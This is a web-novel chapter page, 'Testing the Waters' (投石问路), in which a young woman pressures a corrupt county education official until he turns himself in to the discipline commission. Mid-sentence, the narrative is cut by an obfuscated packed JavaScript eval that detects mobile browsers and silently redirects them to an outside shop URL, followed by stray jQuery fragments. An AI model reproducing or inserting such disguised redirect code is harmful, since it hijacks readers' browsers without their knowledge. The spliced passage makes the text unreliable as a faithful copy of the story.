文趣网 > 都市小说 > 重生八零:不争名额只争天下 > 27. 投石问路
    孙建国每天中午,都去县招待所后头那家面馆吃面。

    这是林秋实蹲了三天点,摸出来的规律。

    她没急着上前,只在那面馆斜对面的裁缝摊边上,借了个地方,支了个小布摊,摆上几块零头布和几件做好的成衣,也不吆喝,就那么安安静静地等着。

    头两天,她什么也没做,只是远远地看着孙建国进出面馆,把他的习惯记在心里:他每天十二点整到,要一碗素面,坐靠窗那个位置,吃半个钟头,然后回单位。

    她看他还注意到,孙建国走路总是微微弓着背,像是总在低头想什么,跟人打招呼也是含含糊糊的,一副不太敢抬头见人的样子。

    "心里有鬼的人,走路都直不起腰。"林秋实心里想。

    第三天晌午,孙建国果然又来了。

    他还是那副样子,瘦高个,戴着眼镜,走路微微弓着背,看着就没什么精神。进了面馆,要了一碗素面,坐在靠窗的位置,慢慢吃着。

    林秋实等了片刻,收起摊子,也进了面馆,在离他不远的地方坐下。

    她其实不太会套话。上辈子的她,最怕跟人打交道,话还没说先脸红了。可这一世,她逼着自己学——做生意要跟人打交道,查案,更要。

    她要了一碗面,没急着吃,先打量了孙建国一眼。

    他吃面的动作很慢,像是没什么胃口,夹一筷子,在碗里搅半天。吃到一半,他忽然从兜里掏出一盒烟,抽出一根点上,吸了一口,又掐灭了。

    林秋实看在眼里,心里有了数。

    ——这个人,心里头压着事。

    她端着面碗,装作不经意地坐到孙建国对面,冲他笑了笑:"同志,这儿没人吧?我坐会儿。"

    孙建国抬头看了她一眼,点点头,没说话,又低头吃面。

    "您是县里的干部吧?"林秋实搭话,"我瞧您天天在这儿吃面。"

    "嗯。"孙建国含糊应了一声,"在教育局上班。"

    "教育局?"林秋实像是来了兴致,"巧了,我有个亲戚,前几年考大学,就是上的师范。那年啊,还差点出岔子……"

    她说到"出岔子"三个字的时候,孙建国夹面的筷子,顿了一下。

    "啥岔子?"他问,声音有些干。

    "就是……"林秋实叹了口气,"那年她分数明明够了,通知书却差点没到手上,说是被人转走了。后来家里托了关系,才又补回来。你说,这读书人的事,咋也这么不让人省心?"

    孙建国低着头,没接话,可握着筷子的手指,微微收紧了些。

    林秋实点到即止,没再往下说,转了个话头:"同志,您整天在教育局,见的材料多,您说,这通知书要是真被人动手脚,能查出来不?"

    孙建国的手,僵住了。

    他抬起头,隔着镜片看了林秋实一眼,又飞快地移开目光:"我……我不知道。我就是个跑腿的。"

    "那倒也是。"林秋实笑笑,不再追问,低头吃面。

    她心里,却已经有了计较。

    孙建国刚才那几下反应,她全看在眼里——"出岔子"三个字,让他的筷子顿了;"通知书被人动手脚"这句话,让他的手指僵了。

    他心里,确实有鬼。

    而且,是那种做贼心虚的鬼。

    林秋实吃完面,结了账,起身要走,路过孙建国身边时,忽然低声说了句:"同志,晚上凉,多穿件衣裳。"

    孙建国一愣,不明所以地看她一眼。

    林秋实已经出了门。

    她没走远,拐进面馆后头的小巷,等了一会儿,果然看见孙建国匆匆吃完了面,结了账,快步出来,四下张望了一番,才朝单位方向走去。

    林秋实看着他的背影,心里那盘棋,又落了一子。

    她今天,只是投石问路。

    可这一投,已经让她摸清了孙建国的底——他怕。

    她回到铺子,三娘见她面色平静,却知道她心里一定在琢磨事。果然,晚上打烊后,林秋实把今天面馆的事,细细跟三娘说了一遍。

    "你真去套他的话了?"三娘吓了一跳,"你不怕他认出你来?"

    "他不认得我。"林秋实说,"我从来没在他跟前露过面。再说,我就是个开成衣铺的,跟他八竿子打不着。"

    三娘还是不放心:"那他要是回去一琢磨,琢磨出不对来呢?"

    "那正好。"林秋实眼睛亮了亮,"他越琢磨,越睡不着。他越睡不着,心里那点事,就越压不住。"

    三娘看着她,叹了口气:"你这丫头,心思比筛子眼还密。"

    林秋实笑了笑,没接话。

    接下来的几天,林秋实没有再去面馆。

    她照常开铺子、赶工、交活,把工作服的活儿一件件做完,又盘下了隔壁那间空铺子,重新刷了墙,进了新料子。

    "秋实成衣"的招牌,从三间房,变成了五间房。

    街坊们都说,这姑娘,是真干起来了。

    可林秋实心里,一直惦记着孙建国的事。

    她想好了:孙建国不是铁板,是块做了亏心事的软木。要撬开他,不能硬来,得让他自己心里那杆秤,先倒了。

    可她也明白,光靠几句不痛不痒的话,还压不垮一个人。

    她得再往他心上,加一根稻草。

    她开始隔三差五,从孙建国单位门口路过。不进去,也不停留,只是远远地,让孙建国偶尔能看见她。

    她就是要让他心里那根弦,越绷越紧。

    她甚至故意让三娘托人,往教育局打听"当年云水一中那批通知书的事"——消息传得半真半假,说有人要翻旧账。

    这消息,她掐着分寸放出去的。不能太真,真了容易打草惊蛇;也不能太假,假了没人当回事。就要那种"好像有人真要查了"的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17955774|214235||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    动静,让做贼的人自己先慌。

    她还让林秋生去面馆,连着几天都坐孙建国对面那桌,什么也不干,就闷头吃面,吃完了走人。孙建国第一次没在意,第二次觉得眼熟,第三次,就开始心慌了。

    没过几天,她就听说,孙建国最近整个人都不对劲,上班老是走神,饭也吃得少了。

    林秋实听了,没有高兴,也没有心软。

    她只是觉得,时机快到了。

    七月初的一天,她正在铺子里裁料子,忽然听见外头一阵喧哗。

    她出去一看,是县教育局门口围了一圈人。

    "出啥事了?"她问旁边的街坊。

    "听说是教育局一个干部,叫孙建国的,今儿早上自己跑去县纪委,说是要交代问题。"街坊压低了声音,"这年头,还有自己把自己交出去的,稀奇。"

    林秋实的动作,顿住了。

    她站在铺子门口,看着县教育局方向,心里翻涌着说不清的滋味。

    孙建国,自己去交代了。

    她不知道是不是自己那几句话,加上那些半真半假的传言,压垮了他心里那根弦。可她知道,那个她等了很久的时机,真的来了。

    她转身回铺子,把账本拿出来,从头到尾,又仔仔细细地看了一遍。

    账本底下,压着那三张纸:志愿底稿、通知单底根,还有写着孙建国、龚主任、钱有福名字的那张。

    孙建国这一交代,县纪委那头,八成要顺着往下查。龚主任跑不了,钱有福也跑不了。

    可她也知道,这件事一抖开,钱家恨她,只会恨得更深。往后的日子,怕是没那么太平了。

    她没怕。

    她只是把铺子的账,又理了一遍,想着把能拿出来的钱,都备出来,万一往后要用钱打点,也好有个准备。

    那两天,县城里的风声,一下子就紧了。

    先是孙建国被带进纪委,交代了这些年在教育局帮着经手的一些"私活"。紧接着,龚主任也被停了职,说是在家接受审查。消息像长了腿一样,在街面上传开。

    有人说孙建国交代的名单里,就有县里一个姓钱的。

    林秋实听着这些消息,面上不动声色,照常开门做生意。可她知道,这场风暴的中心,还远没到最烈的时候。

    她等着。

    晚上打烊后,她一个人坐在灯下,把账本底下那三张纸又翻出来,一张一张摊开,看了很久。

    志愿底稿、通知单底根、写满名字的那张纸。

    这三样东西,是她这一年来,一点点攒下来的。

    如今,它们终于要派上用场了。

    她把这些纸重新收好,压回账本底下,然后,吹了灯,躺下。

    这一夜,她睡得很沉。

    因为她知道,天,快亮了。

    她只是没想到,这一夜过后,迎接她的,会是一场比想象中更大的风暴。